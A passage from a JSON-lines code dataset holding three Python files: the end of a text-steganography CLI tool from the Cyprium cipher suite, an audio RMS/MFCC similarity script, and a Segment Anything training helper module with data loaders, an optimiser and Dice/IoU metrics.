self._tree.current = self._tree.current.parent\r\n quit = True\r\n else:\r\n answ(ui)\r\n ui.message(\"Back to Cyprium menus! Bye.\")\r\n\r\n def about(self, ui):\r\n ui.message(sema.__about__)\r\n ui.get_choice(\"\", [(\"\", \"Go back to $menu\", \"\")], oneline=True)\r\n\r\n def demo(self, ui):\r\n ui.message(\"===== Demo Mode =====\")\r\n ui.message(\"Running a small demo/testing!\")\r\n\r\n text = \"“Mes souvenirs sont comme les pistoles dans la bourse du \" \\\r\n \"diable. Quand on l’ouvrit, on n’y trouva que des feuilles \" \\\r\n \"mortes. J’ai beau fouiller le passé je n’en retire plus que \" \\\r\n \"des bribes d’images et je ne sais pas très bien ce qu’elles \" \\\r\n \"représentent, ni si ce sont des souvenirs ou des fictions.” \" \\\r\n \"– extrait de « La nausée » de Jean-Paul Sartre.\"\r\n marker = self.marker\r\n\r\n ui.message(\"--- Hiding ---\")\r\n data = \"comix\"\r\n ui.message(\"Text used as source (input file): {}\".format(text))\r\n ui.message(\"Data to hide: {}\\n\".format(data))\r\n ui.message(\"Text with hidden data (output file): {}\"\r\n \"\".format(sema.hide(text, data, marker, 0)))\r\n ui.message(\"\")\r\n\r\n htext = \"“Mes s\" + marker + \"ouvenirs sont comme les pistoles dans \" \\\r\n \"la bourse du di\" + marker + \"able. Quand on l’ouvrit, on \" \\\r\n \"n’y trouva que des feuilles mo\" + marker + \"rtes. J’ai \" \\\r\n \"beau fouiller le passé je n’en retire plus que des bribes \" \\\r\n \"d’im\" + marker + \"ages et je ne sais pas très bien ce \" \\\r\n \"qu’elles représentent, ni si ce sont des sou\" + marker + \\\r\n \"venirs ou des fictions.” – extrait de « La nausée » de \" \\\r\n \"Jean-Paul Sar\" + marker + \"tre.\"\r\n ui.message(\"--- Unhiding ---\")\r\n ui.message(\"Text used as source (input file): {}\".format(htext))\r\n ui.message(\"The hidden data is: {}\"\r\n \"\".format(sema.unhide(htext, marker, 0)))\r\n\r\n ui.message(\"--- Won’t work ---\")\r\n ui.message(\"+ The letters to hide must be present in the input text:\")\r\n data = \"zowix\"\r\n ui.message(\"Text used as source (input file): {}\".format(text))\r\n ui.message(\"Data to hide: {}\".format(data))\r\n try:\r\n ui.message(\"Text with hidden data (output file): {}\"\r\n \"\".format(sema.hide(text, data, marker, 0)))\r\n except Exception as e:\r\n ui.message(str(e), level=ui.ERROR)\r\n\r\n ui.message(\"+ The input text must be long enough for the given data \"\r\n \"to hide (at least 40 times):\")\r\n data = \"This is quite a long boring sentence\"\r\n ui.message(\"Data to hide: {}\".format(data))\r\n try:\r\n ui.message(\"Text with hidden data (output file): {}\"\r\n \"\".format(sema.hide(text, data, marker, 0)))\r\n except Exception as e:\r\n ui.message(str(e), level=ui.ERROR)\r\n\r\n ui.get_choice(\"\", [(\"\", \"Go back to $menu\", \"\")], oneline=True)\r\n\r\n def hide(self, ui):\r\n \"\"\"Interactive version of hide().\"\"\"\r\n txt = \"\"\r\n ui.message(\"===== Hide Mode =====\")\r\n\r\n while 1:\r\n done = False\r\n while not done:\r\n txt = ui.text_input(\"Text into which hide data\")\r\n if txt is None:\r\n break # Go back to main Hide menu.\r\n\r\n while 1:\r\n data = ui.text_input(\"Data to hide into the text\")\r\n try:\r\n # Will also raise an exception if data is None.\r\n txt = sema.hide(txt, data, self.marker, 0)\r\n done = True # Out of those loops, output result.\r\n break\r\n except Exception as e:\r\n if utils.DEBUG:\r\n import traceback\r\n traceback.print_tb(sys.exc_info()[2])\r\n ui.message(str(e), level=ui.ERROR)\r\n options = [(\"retry\", \"*try again\", \"\"),\r\n (\"file\", \"choose another *input file\", \"\"),\r\n (\"menu\", \"or go back to *menu\", \"\")]\r\n msg = \"Could not hide that data into the given \" \\\r\n \"text, please\"\r\n answ = ui.get_choice(msg, options, oneline=True)\r\n if answ == \"file\":\r\n break # Go back to input file selection.\r\n elif answ in {None, \"menu\"}:\r\n return # Go back to main Sema menu.\r\n # Else, retry with another data to hide.\r\n\r\n if done:\r\n ui.text_output(\"Data successfully hidden\", txt,\r\n \"Text with hidden data\")\r\n\r\n options = [(\"redo\", \"*hide another data\", \"\"),\r\n (\"quit\", \"or go back to $menu\", \"\")]\r\n answ = ui.get_choice(\"Do you want to\", options, oneline=True)\r\n if answ in {None, \"quit\"}:\r\n return\r\n\r\n def unhide(self, ui):\r\n \"\"\"Interactive version of unhide().\"\"\"\r\n txt = \"\"\r\n ui.message(\"===== Unhide Mode =====\")\r\n\r\n while 1:\r\n txt = ui.text_input(\"Please choose some text with hidden data\")\r\n\r\n if txt is not None:\r\n try:\r\n ui.text_output(\"Data successfully unhidden\",\r\n sema.unhide(txt, self.marker, 0),\r\n \"The hidden data is\")\r\n except Exception as e:\r\n if utils.DEBUG:\r\n import traceback\r\n traceback.print_tb(sys.exc_info()[2])\r\n ui.message(str(e), level=ui.ERROR)\r\n\r\n options = [(\"redo\", \"*unhide another data\", \"\"),\r\n (\"quit\", \"or go back to $menu\", \"\")]\r\n answ = ui.get_choice(\"Do you want to\", options, oneline=True)\r\n if answ == \"quit\":\r\n return\r\n\r\n\r\nNAME = \"sema\"\r\nTIP = \"Tool to hide some text into a much bigger one, \" \\\r\n \"by placing small dots below some letters.\"\r\nTYPE = app.cli.Node.TOOL\r\nCLASS = Sema\r\n\r\n# Allow tool to be used directly, without using Cyprium menu.\r\nif __name__ == \"__main__\":\r\n import app.cli.ui\r\n ui = app.cli.ui.UI()\r\n tree = app.cli.NoTree(\"Sema\")\r\n Sema(tree).main(ui)\r\n","repo_name":"underloki/Cyprium","sub_path":"app/cli/root/stegano/text/sema.py","file_name":"sema.py","file_ext":"py","file_size_in_byte":10091,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"0"}
+{"seq_id":"30097215905","text":"# Standard imports\nimport librosa\nimport math\n#from librosa import load\nimport os, sys, getopt\n\nimport numpy as np\n\n'''\ndef get_rms(records):\n \"\"\"\n 均方根值 反映的是有效值而不是平均值\n \"\"\"\n return math.sqrt(sum([x ** 2 for x in records]) / len(records))\n'''\ndef my_std_mfcc(g_offset, g_mono):\n root_path = './'\n if getattr(sys, 'frozen', False):\n root_path = os.path.dirname(sys.executable)\n elif __file__:\n root_path = os.path.dirname(__file__)\n test_file1 = os.path.join(root_path, 'befor.wav')\n #print(f'root_path={root_path}, {test_file1}')\n # 加载音频文件\n y, sr = librosa.load(path=test_file1, sr=None, offset=g_offset, mono=g_mono)\n if not g_mono:\n y = y[0]\n # 提取MFCC特征向量\n mfcc1 = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=13)\n # 将MFCC特征向量序列转换为一个特征向量\n return np.mean(mfcc1.T, axis=0)\n\ndef display_help():\n print('用法:calc_rms.exe -f 音频文件路径 -j xx -s')\n print('-f 必选参数,音频文件路径')\n print('-j 可选参数,读取音频文件时,从起始时间算,跳几秒,默认1秒')\n print('-s 可选参数,带上该参数说明音频文件要转换成单声道,不带该参数表示不转换, 当前测试音频文件是双声道的,所以不用带')\ndef parse_cmd_param():\n try:\n opts, args = getopt.getopt(sys.argv[1:], \"f:j:s\")\n except getopt.GetoptError:\n display_help()\n sys.exit(-1)\n audio_file = None\n mono = False\n jump_sec = 1.0\n for opt, arg in opts:\n if opt in (\"-h\", \"--help\"):\n display_help()\n sys.exit(0)\n elif opt in (\"-f\"):\n audio_file = arg\n elif opt in (\"-j\"):\n jump_sec = float(arg)\n elif opt in (\"-s\"):\n mono = True\n\n if audio_file is None:\n display_help()\n sys.exit(-1)\n\n return audio_file, jump_sec, mono\n\ndef main():\n audio_file, offset, mono = parse_cmd_param()\n print(f'audio_file={audio_file}, offset={offset}, mono={mono}')\n y, sr = librosa.load(path=audio_file, sr = None, offset=offset, mono=mono)\n #print(y, sr)\n if not mono:\n y = y[0]\n\n std_mfcc = my_std_mfcc(offset, mono)\n mfcc = librosa.feature.mfcc(y=y, sr=sr, n_mfcc=13)\n curr_mfcc = np.mean(mfcc.T, axis=0)\n mean_mfcc = np.mean(mfcc[0])\n # 计算欧氏距离\n dist = np.linalg.norm(curr_mfcc - std_mfcc)\n # 相似度\n xsd = 1 / (1 + dist) * 100\n # RMS\n rms = librosa.feature.rms(y=y)[0]\n rms_raw = np.mean(rms)\n rms_db = math.log(rms_raw, 10) * 20\n\n print(f'rms_raw={rms_raw}')\n print(f'rms_db ={rms_db}')\n print(f'dist={dist}, similarity={xsd}')\n\nif __name__ == '__main__':\n main()\n","repo_name":"wjsuperstar/tools","sub_path":"project/RMS/calc_rms.py","file_name":"calc_rms.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"14207356140","text":"\"\"\" helper function\n\nauthor junde\n\"\"\"\nimport copy\nimport sys\nfrom copy import deepcopy\n\nimport numpy\nimport pandas as pd\nfrom matplotlib import pyplot as plt, patches\nfrom pycocotools.cocoeval import Params\nfrom torchvision import transforms\nimport torch.nn as nn\nfrom torch.autograd import Function\nfrom torch.optim.lr_scheduler import _LRScheduler\nimport cv2\nimport torchvision\nimport torch.optim as optim\nimport torchvision.utils as vutils\nfrom torch.autograd import Variable\nfrom torch import autograd\nimport random\n# from detectron2 import _C\n\nimport collections\nimport logging\nimport math\nimport os\nimport time\nfrom datetime import datetime\n\nimport dateutil.tz\n\nfrom typing import Union, Optional, List, Tuple, Text, BinaryIO, Iterable, Callable\nimport pathlib\n# from lucent.optvis.param.spatial import pixel_image, fft_image, init_image\n# from lucent.optvis.param.color import to_valid_rgb\n# from lucent.optvis import objectives, transform, param\n# from lucent.misc.io import show\n\nimport warnings\nfrom collections import OrderedDict\nimport numpy as np\nfrom PIL import Image\nimport torch\n\nfrom notebooks.SAM_conf import SAM_cfg\n# from precpt import run_precpt\nfrom segment_anything.modeling.discriminator import Discriminator\n# from siren_pytorch import SirenNet, SirenWrapper\n\nfrom tqdm import tqdm\n\nfrom monai.transforms import (\n Compose,\n CropForegroundd,\n LoadImaged,\n Orientationd,\n RandFlipd,\n RandCropByPosNegLabeld,\n RandShiftIntensityd,\n ScaleIntensityRanged,\n Spacingd,\n RandRotate90d,\n EnsureTyped,\n)\n\nfrom monai.data import (\n ThreadDataLoader,\n CacheDataset,\n load_decathlon_datalist,\n set_track_meta,\n)\nargs = SAM_cfg.parse_args()\ndevice = torch.device('cuda', args.gpu_device)\n\n'''preparation of domain loss'''\n# cnn = vgg19(pretrained=True).features.to(device).eval()\n# cnn_normalization_mean = torch.tensor([0.485, 0.456, 0.406]).to(device)\n# cnn_normalization_std = torch.tensor([0.229, 0.224, 0.225]).to(device)\n\n# netD = Discriminator(1).to(device)\n# netD.apply(init_D)\n# beta1 = 0.5\n# dis_lr = 0.0002\n# optimizerD = optim.Adam(netD.parameters(), lr=dis_lr, betas=(beta1, 0.999))\n'''end'''\n\ndef get_parameter_number(model):\n total_num = sum(p.numel() for p in model.parameters())\n trainable_num = sum(p.numel() for p in model.parameters() if p.requires_grad)\n print()\n print('total:{}'.format(total_num))\n print('trainable:{}'.format(trainable_num))\n\ndef get_network(args, net, use_gpu=True, gpu_device = 0, distribution = True):\n \"\"\" return given network\n \"\"\"\n\n if net == 'sam':\n from segment_anything.build_sam import sam_model_registry\n net = sam_model_registry['vit_h'](checkpoint=args.sam_ckpt).to(device)\n elif net == 'sam_adapter':\n from segment_anything.build_sam_adapter import sam_model_registry\n net = sam_model_registry['vit_h'](args,checkpoint=args.sam_ckpt).to(device)\n elif net == 'sam_fineTuning':\n from segment_anything.build_sam_adapter import sam_model_registry\n net = sam_model_registry['vit_h'](args,checkpoint=args.sam_ckpt).to(device)\n elif net == 'PromptVit':\n if args.sam_vit_model == \"h\":\n if args.token_method == \"new\":\n from segment_anything.build_sam_promptvit_new_token import sam_model_registry\n net = sam_model_registry['vit_h'](args,checkpoint=args.sam_ckpt).to(device)\n\n else:\n print('the network name you have entered is not supported yet')\n sys.exit()\n\n if use_gpu:\n #net = net.cuda(device = gpu_device)\n if distribution != 'none':\n net = torch.nn.DataParallel(net,device_ids=[int(id) for id in args.distributed.split(',')])\n net = net.to(device=gpu_device)\n else:\n net = net.to(device=gpu_device)\n\n return net\n\n\ndef get_decath_loader(args):\n\n train_transforms = Compose(\n [ \n LoadImaged(keys=[\"image\", \"label\"], ensure_channel_first=True),\n ScaleIntensityRanged(\n keys=[\"image\"],\n a_min=-175,\n a_max=250,\n b_min=0.0,\n b_max=1.0,\n clip=True,\n ),\n CropForegroundd(keys=[\"image\", \"label\"], source_key=\"image\"),\n Orientationd(keys=[\"image\", \"label\"], axcodes=\"RAS\"),\n Spacingd(\n keys=[\"image\", \"label\"],\n pixdim=(1.5, 1.5, 2.0),\n mode=(\"bilinear\", \"nearest\"),\n ),\n EnsureTyped(keys=[\"image\", \"label\"], device=device, track_meta=False),\n RandCropByPosNegLabeld(\n keys=[\"image\", \"label\"],\n label_key=\"label\",\n spatial_size=(args.roi_size, args.roi_size, args.chunk),\n pos=1,\n neg=1,\n num_samples=args.num_sample,\n image_key=\"image\",\n image_threshold=0,\n ),\n RandFlipd(\n keys=[\"image\", \"label\"],\n spatial_axis=[0],\n prob=0.10,\n ),\n RandFlipd(\n keys=[\"image\", \"label\"],\n spatial_axis=[1],\n prob=0.10,\n ),\n RandFlipd(\n keys=[\"image\", \"label\"],\n spatial_axis=[2],\n prob=0.10,\n ),\n RandRotate90d(\n keys=[\"image\", \"label\"],\n prob=0.10,\n max_k=3,\n ),\n RandShiftIntensityd(\n keys=[\"image\"],\n offsets=0.10,\n prob=0.50,\n ),\n ]\n )\n val_transforms = Compose(\n [\n LoadImaged(keys=[\"image\", \"label\"], ensure_channel_first=True),\n ScaleIntensityRanged(\n keys=[\"image\"], a_min=-175, a_max=250, b_min=0.0, b_max=1.0, clip=True\n ),\n CropForegroundd(keys=[\"image\", \"label\"], source_key=\"image\"),\n Orientationd(keys=[\"image\", \"label\"], axcodes=\"RAS\"),\n Spacingd(\n keys=[\"image\", \"label\"],\n pixdim=(1.5, 1.5, 2.0),\n mode=(\"bilinear\", \"nearest\"),\n ),\n EnsureTyped(keys=[\"image\", \"label\"], device=device, track_meta=True),\n ]\n )\n\n\n\n data_dir = args.data_path\n split_JSON = \"dataset_0.json\"\n\n datasets = os.path.join(data_dir, split_JSON)\n datalist = load_decathlon_datalist(datasets, True, \"training\")\n val_files = load_decathlon_datalist(datasets, True, \"validation\")\n train_ds = CacheDataset(\n data=datalist,\n transform=train_transforms,\n cache_num=24,\n cache_rate=1.0,\n num_workers=8,\n )\n train_loader = ThreadDataLoader(train_ds, num_workers=0, batch_size=args.b, shuffle=True)\n val_ds = CacheDataset(\n data=val_files, transform=val_transforms, cache_num=2, cache_rate=1.0, num_workers=0\n )\n val_loader = ThreadDataLoader(val_ds, num_workers=0, batch_size=1)\n\n set_track_meta(False)\n\n return train_loader, val_loader, train_transforms, val_transforms, datalist, val_files\n\n\ndef cka_loss(gram_featureA, gram_featureB):\n\n scaled_hsic = torch.dot(torch.flatten(gram_featureA),torch.flatten(gram_featureB))\n normalization_x = gram_featureA.norm()\n normalization_y = gram_featureB.norm()\n return scaled_hsic / (normalization_x * normalization_y)\n\n\nclass WarmUpLR(_LRScheduler):\n \"\"\"warmup_training learning rate scheduler\n Args:\n optimizer: optimzier(e.g. SGD)\n total_iters: totoal_iters of warmup phase\n \"\"\"\n def __init__(self, optimizer, total_iters, last_epoch=-1):\n\n self.total_iters = total_iters\n super().__init__(optimizer, last_epoch)\n\n def get_lr(self):\n \"\"\"we will use the first m batches, and set the learning\n rate to base_lr * m / total_iters\n \"\"\"\n return [base_lr * self.last_epoch / (self.total_iters + 1e-8) for base_lr in self.base_lrs]\n\ndef gram_matrix(input):\n a, b, c, d = input.size() # a=batch size(=1)\n # b=number of feature maps\n # (c,d)=dimensions of a f. map (N=c*d)\n\n features = input.view(a * b, c * d) # resise F_XL into \\hat F_XL\n\n G = torch.mm(features, features.t()) # compute the gram product\n\n # we 'normalize' the values of the gram matrix\n # by dividing by the number of element in each feature maps.\n return G.div(a * b * c * d)\n\n\n\n@torch.no_grad()\ndef make_grid(\n tensor: Union[torch.Tensor, List[torch.Tensor]],\n nrow: int = 8,\n padding: int = 2,\n normalize: bool = False,\n value_range: Optional[Tuple[int, int]] = None,\n scale_each: bool = False,\n pad_value: int = 0,\n **kwargs\n) -> torch.Tensor:\n if not (torch.is_tensor(tensor) or\n (isinstance(tensor, list) and all(torch.is_tensor(t) for t in tensor))):\n raise TypeError(f'tensor or list of tensors expected, got {type(tensor)}')\n\n if \"range\" in kwargs.keys():\n warning = \"range will be deprecated, please use value_range instead.\"\n warnings.warn(warning)\n value_range = kwargs[\"range\"]\n\n # if list of tensors, convert to a 4D mini-batch Tensor\n if isinstance(tensor, list):\n tensor = torch.stack(tensor, dim=0)\n\n if tensor.dim() == 2: # single image H x W\n tensor = tensor.unsqueeze(0)\n if tensor.dim() == 3: # single image\n if tensor.size(0) == 1: # if single-channel, convert to 3-channel\n tensor = torch.cat((tensor, tensor, tensor), 0)\n tensor = tensor.unsqueeze(0)\n\n if tensor.dim() == 4 and tensor.size(1) == 1: # single-channel images\n tensor = torch.cat((tensor, tensor, tensor), 1)\n\n if normalize is True:\n tensor = tensor.clone() # avoid modifying tensor in-place\n if value_range is not None:\n assert isinstance(value_range, tuple), \\\n \"value_range has to be a tuple (min, max) if specified. min and max are numbers\"\n\n def norm_ip(img, low, high):\n img.clamp(min=low, max=high)\n img.sub_(low).div_(max(high - low, 1e-5))\n\n def norm_range(t, value_range):\n if value_range is not None:\n norm_ip(t, value_range[0], value_range[1])\n else:\n norm_ip(t, float(t.min()), float(t.max()))\n\n if scale_each is True:\n for t in tensor: # loop over mini-batch dimension\n norm_range(t, value_range)\n else:\n norm_range(tensor, value_range)\n\n if tensor.size(0) == 1:\n return tensor.squeeze(0)\n\n # make the mini-batch of images into a grid\n nmaps = tensor.size(0)\n xmaps = min(nrow, nmaps)\n ymaps = int(math.ceil(float(nmaps) / xmaps))\n height, width = int(tensor.size(2) + padding), int(tensor.size(3) + padding)\n num_channels = tensor.size(1)\n grid = tensor.new_full((num_channels, height * ymaps + padding, width * xmaps + padding), pad_value)\n k = 0\n for y in range(ymaps):\n for x in range(xmaps):\n if k >= nmaps:\n break\n # Tensor.copy_() is a valid method but seems to be missing from the stubs\n # https://pytorch.org/docs/stable/tensors.html#torch.Tensor.copy_\n grid.narrow(1, y * height + padding, height - padding).narrow( # type: ignore[attr-defined]\n 2, x * width + padding, width - padding\n ).copy_(tensor[k])\n k = k + 1\n return grid\n\n\n@torch.no_grad()\ndef save_image(\n tensor: Union[torch.Tensor, List[torch.Tensor]],\n fp: Union[Text, pathlib.Path, BinaryIO],\n format: Optional[str] = None,\n **kwargs\n) -> None:\n \"\"\"\n Save a given Tensor into an image file.\n Args:\n tensor (Tensor or list): Image to be saved. If given a mini-batch tensor,\n saves the tensor as a grid of images by calling ``make_grid``.\n fp (string or file object): A filename or a file object\n format(Optional): If omitted, the format to use is determined from the filename extension.\n If a file object was used instead of a filename, this parameter should always be used.\n **kwargs: Other arguments are documented in ``make_grid``.\n \"\"\"\n\n grid = make_grid(tensor, **kwargs)\n # Add 0.5 after unnormalizing to [0, 255] to round to nearest integer\n ndarr = grid.mul(255).add_(0.5).clamp_(0, 255).permute(1, 2, 0).to('cpu', torch.uint8).numpy()\n im = Image.fromarray(ndarr)\n im.save(fp, format=format)\n \n\ndef create_logger(log_dir, phase='train'):\n time_str = time.strftime('%Y-%m-%d-%H-%M')\n log_file = '{}_{}.log'.format(time_str, phase)\n final_log_file = os.path.join(log_dir, log_file)\n head = '%(asctime)-15s %(message)s'\n logging.basicConfig(filename=str(final_log_file),\n format=head)\n logger = logging.getLogger()\n logger.setLevel(logging.INFO)\n console = logging.StreamHandler()\n logging.getLogger('').addHandler(console)\n\n return logger\n\n\ndef set_log_dir(root_dir, exp_name):\n path_dict = {}\n os.makedirs(root_dir, exist_ok=True)\n\n # set log path\n exp_path = os.path.join(root_dir, exp_name)\n now = datetime.now(dateutil.tz.tzlocal())\n timestamp = now.strftime('%Y_%m_%d_%H_%M_%S')\n prefix = exp_path + '_' + timestamp\n os.makedirs(prefix)\n path_dict['prefix'] = prefix\n\n # set checkpoint path\n ckpt_path = os.path.join(prefix, 'Model')\n os.makedirs(ckpt_path)\n path_dict['ckpt_path'] = ckpt_path\n\n log_path = os.path.join(prefix, 'Log')\n os.makedirs(log_path)\n path_dict['log_path'] = log_path\n\n # set sample image path for fid calculation\n sample_path = os.path.join(prefix, 'Samples', 'train')\n os.makedirs(sample_path)\n path_dict['train_sample_path'] = sample_path\n\n # set sample image path for fid calculation\n sample_path = os.path.join(prefix, 'Samples', 'valid')\n os.makedirs(sample_path)\n path_dict['valid_sample_path'] = sample_path\n\n # set sample image path for fid calculation\n sample_path = os.path.join(prefix, 'Samples', 'test')\n os.makedirs(sample_path)\n path_dict['test_sample_path'] = sample_path\n return path_dict\n\n\ndef save_checkpoint(states, is_best, output_dir,\n filename='checkpoint.pth'):\n # torch.save(states, os.path.join(output_dir, filename))\n if is_best:\n torch.save(states, os.path.join(output_dir, 'checkpoint_best.pth'))\n\nfrom torch.optim import Optimizer\nclass AdamW(Optimizer):\n \"\"\" Implements Adam algorithm with weight decay fix.\n Parameters:\n lr (float): learning rate. Default 1e-3.\n betas (tuple of 2 floats): Adams beta parameters (b1, b2). Default: (0.9, 0.999)\n eps (float): Adams epsilon. Default: 1e-6\n weight_decay (float): Weight decay. Default: 0.0\n correct_bias (bool): can be set to False to avoid correcting bias in Adam (e.g. like in Bert TF repository). Default True.\n \"\"\"\n\n def __init__(\n self,\n params: Iterable,\n lr: float = 1e-3,\n betas: Tuple[float, float] = (0.9, 0.999),\n eps: float = 1e-6,\n weight_decay: float = 0.0,\n correct_bias: bool = True\n ) -> None:\n if lr < 0.0:\n raise ValueError(\"Invalid learning rate: {} - should be >= 0.0\".format(lr))\n if not 0.0 <= betas[0] < 1.0:\n raise ValueError(\"Invalid beta parameter: {} - should be in [0.0, 1.0[\".format(betas[0]))\n if not 0.0 <= betas[1] < 1.0:\n raise ValueError(\"Invalid beta parameter: {} - should be in [0.0, 1.0[\".format(betas[1]))\n if not 0.0 <= eps:\n raise ValueError(\"Invalid epsilon value: {} - should be >= 0.0\".format(eps))\n defaults = {\n \"lr\": lr, \"betas\": betas, \"eps\": eps,\n \"weight_decay\": weight_decay, \"correct_bias\": correct_bias\n }\n super(AdamW, self).__init__(params, defaults)\n\n def step(self, closure: Optional[Callable] = None) -> Optional[Callable]:\n \"\"\"Performs a single optimization step.\n Arguments:\n closure (callable, optional): A closure that reevaluates the model\n and returns the loss.\n \"\"\"\n loss = None\n if closure is not None:\n loss = closure()\n\n for group in self.param_groups:\n for p in group['params']:\n if p.grad is None:\n continue\n grad = p.grad.data\n if grad.is_sparse:\n raise RuntimeError(\n \"Adam does not support sparse gradients, \"\n \"please consider SparseAdam instead\")\n\n state = self.state[p]\n\n # State initialization\n if len(state) == 0:\n state['step'] = 0\n # Exponential moving average of gradient values\n state['exp_avg'] = torch.zeros_like(p.data)\n # Exponential moving average of squared gradient values\n state['exp_avg_sq'] = torch.zeros_like(p.data)\n\n exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']\n beta1, beta2 = group['betas']\n\n state['step'] += 1\n\n # Decay the first and second moment running average coefficient\n # In-place operations to update the averages at the same time\n exp_avg.mul_(beta1).add_(1.0 - beta1, grad)\n exp_avg_sq.mul_(beta2).addcmul_(1.0 - beta2, grad, grad)\n denom = exp_avg_sq.sqrt().add_(group['eps'])\n\n step_size = group['lr']\n if group['correct_bias']: # No bias correction for Bert\n bias_correction1 = 1.0 - beta1 ** state['step']\n bias_correction2 = 1.0 - beta2 ** state['step']\n step_size = step_size * math.sqrt(\n bias_correction2) / bias_correction1\n\n p.data.addcdiv_(-step_size, exp_avg, denom)\n\n # Just adding the square of the weights to the loss function is *not*\n # the correct way of using L2 regularization/weight decay with Adam,\n # since that will interact with the m and v parameters in strange ways.\n #\n # Instead we want to decay the weights in a manner that doesn't interact\n # with the m/v parameters. This is equivalent to adding the square\n # of the weights to the loss with plain (non-momentum) SGD.\n # Add weight decay at the end (fixed version)\n if group['weight_decay'] > 0.0:\n p.data.add_(-group['lr'] * group['weight_decay'], p.data)\n\n return loss\n\n\nclass RunningStats:\n def __init__(self, WIN_SIZE):\n self.mean = 0\n self.run_var = 0\n self.WIN_SIZE = WIN_SIZE\n\n self.window = collections.deque(maxlen=WIN_SIZE)\n\n def clear(self):\n self.window.clear()\n self.mean = 0\n self.run_var = 0\n\n def is_full(self):\n return len(self.window) == self.WIN_SIZE\n\n def push(self, x):\n\n if len(self.window) == self.WIN_SIZE:\n # Adjusting variance\n x_removed = self.window.popleft()\n self.window.append(x)\n old_m = self.mean\n self.mean += (x - x_removed) / self.WIN_SIZE\n self.run_var += (x + x_removed - old_m - self.mean) * (x - x_removed)\n else:\n # Calculating first variance\n self.window.append(x)\n delta = x - self.mean\n self.mean += delta / len(self.window)\n self.run_var += delta * (x - self.mean)\n\n def get_mean(self):\n return self.mean if len(self.window) else 0.0\n\n def get_var(self):\n return self.run_var / len(self.window) if len(self.window) > 1 else 0.0\n\n def get_std(self):\n return math.sqrt(self.get_var())\n\n def get_all(self):\n return list(self.window)\n\n def __str__(self):\n return \"Current window values: {}\".format(list(self.window))\n\ndef iou(outputs: np.array, labels: np.array):\n \n SMOOTH = 1e-6\n intersection = (outputs & labels).sum((1, 2)) # & 按位与运算符\n union = (outputs | labels).sum((1, 2))\n\n iou = (intersection + SMOOTH) / (union + SMOOTH)\n\n return iou.mean()\n\ndef iou_N_P(outputs_p: np.array, labels_p: np.array, outputs_n: np.array, labels_n: np.array):\n SMOOTH = 1e-6\n intersection = (((outputs_p + outputs_n)/2) & ((labels_p + labels_n)/2)).sum((1, 2)) # & 按位与运算符\n union = (outputs_p | labels_p).sum((1, 2))\n\n iou = (intersection + SMOOTH) / (union + SMOOTH)\n\n return iou.mean()\n\nclass DiceCoeff(Function):\n \"\"\"Dice coeff for individual examples\"\"\"\n\n def forward(self, input, target):\n self.save_for_backward(input, target)\n eps = 0.0001\n self.inter = torch.dot(input.view(-1), target.view(-1))\n self.union = torch.sum(input) + torch.sum(target) + eps\n\n t = (2 * self.inter.float() + eps) / self.union.float()\n return t\n\n # This function has only a single output, so it gets only one gradient\n def backward(self, grad_output):\n\n input, target = self.saved_variables\n grad_input = grad_target = None\n\n if self.needs_input_grad[0]:\n grad_input = grad_output * 2 * (target * self.union - self.inter) \\\n / (self.union * self.union)\n if self.needs_input_grad[1]:\n grad_target = None\n\n return grad_input, grad_target\n\nclass DiceCoeff_N_P(Function):\n \"\"\"Dice coeff for individual examples\"\"\"\n\n def forward(self, input_p, target_p, input_n, target_n):\n self.save_for_backward(input_p, target_p)\n eps = 0.0001\n self.inter = torch.dot((input_p * 0.5 + input_n * 0.5).view(-1), ((target_p * 0.5 + target_n * 0.5)).view(-1))\n self.union = torch.sum(input_p) + torch.sum(target_p) + eps\n\n t = (2 * self.inter.float() + eps) / self.union.float()\n return t\n\nclass DiceCoeff_N_P_2and3(Function):\n \"\"\"Dice coeff for individual examples\"\"\"\n\n def forward(self, input_p, target_p, input_n, target_n):\n self.save_for_backward(input_p, target_p)\n eps = 0.0001\n self.inter = torch.dot((input_p * 0.5 + input_n * 0.5).view(-1), ((target_p * 0.5 + target_n * 0.5)).view(-1))\n self.union = torch.sum(input_p) + torch.sum(target_p) + eps\n\n t = (2 * self.inter.float() + eps) / self.union.float()\n return t\n\n\ndef dice_coeff(input, target):\n \"\"\"Dice coeff for batches\"\"\"\n if input.is_cuda:\n s = torch.FloatTensor(1).to(device = input.device).zero_()\n else:\n s = torch.FloatTensor(1).zero_()\n\n for i, c in enumerate(zip(input, target)):\n s = s + DiceCoeff().forward(c[0], c[1])\n\n return s / (i + 1)\n\ndef dice_coeff_N_P(input_p, target_p, input_n, target_n):\n \"\"\"Dice coeff for batches\"\"\"\n if input_p.is_cuda:\n s = torch.FloatTensor(1).to(device = input_p.device).zero_()\n else:\n s = torch.FloatTensor(1).zero_()\n\n for i, c in enumerate(zip(input_p, target_p, input_n, target_n)):\n s = s + DiceCoeff_N_P().forward(c[0], c[1], c[2], c[3])\n\n return s / (i + 1)\n\ndef dice_coeff_N_P_2and3(input_p, target_p, input_n, target_n):\n \"\"\"Dice coeff for batches\"\"\"\n if input_p.is_cuda:\n s = torch.FloatTensor(1).to(device = input_p.device).zero_()\n else:\n s = torch.FloatTensor(1).zero_()\n\n for i, c in enumerate(zip(input_p, target_p, input_n, target_n)):\n s = s + DiceCoeff_N_P().forward(c[0], c[1], c[2], c[3])\n\n return s / (i + 1)\n\n'''parameter'''\ndef para_image(w, h=None, img = None, mode = 'multi', seg = None, sd=None, batch=None,\n fft = False, channels=None, init = None):\n h = h or w\n batch = batch or 1\n ch = channels or 3\n shape = [batch, ch, h, w]\n param_f = fft_image if fft else pixel_image\n if init is not None:\n param_f = init_image\n params, maps_f = param_f(init)\n else:\n params, maps_f = param_f(shape, sd=sd)\n if mode == 'multi':\n output = to_valid_out(maps_f,img,seg)\n elif mode == 'seg':\n output = gene_out(maps_f,img)\n elif mode == 'raw':\n output = raw_out(maps_f,img)\n return params, output\n\ndef to_valid_out(maps_f,img,seg): #multi-rater\n def inner():\n maps = maps_f()\n maps = maps.to(device = img.device)\n maps = torch.nn.Softmax(dim = 1)(maps)\n final_seg = torch.multiply(seg,maps).sum(dim = 1, keepdim = True)\n return torch.cat((img,final_seg),1)\n # return torch.cat((img,maps),1)\n return inner\n\ndef gene_out(maps_f,img): #pure seg\n def inner():\n maps = maps_f()\n maps = maps.to(device = 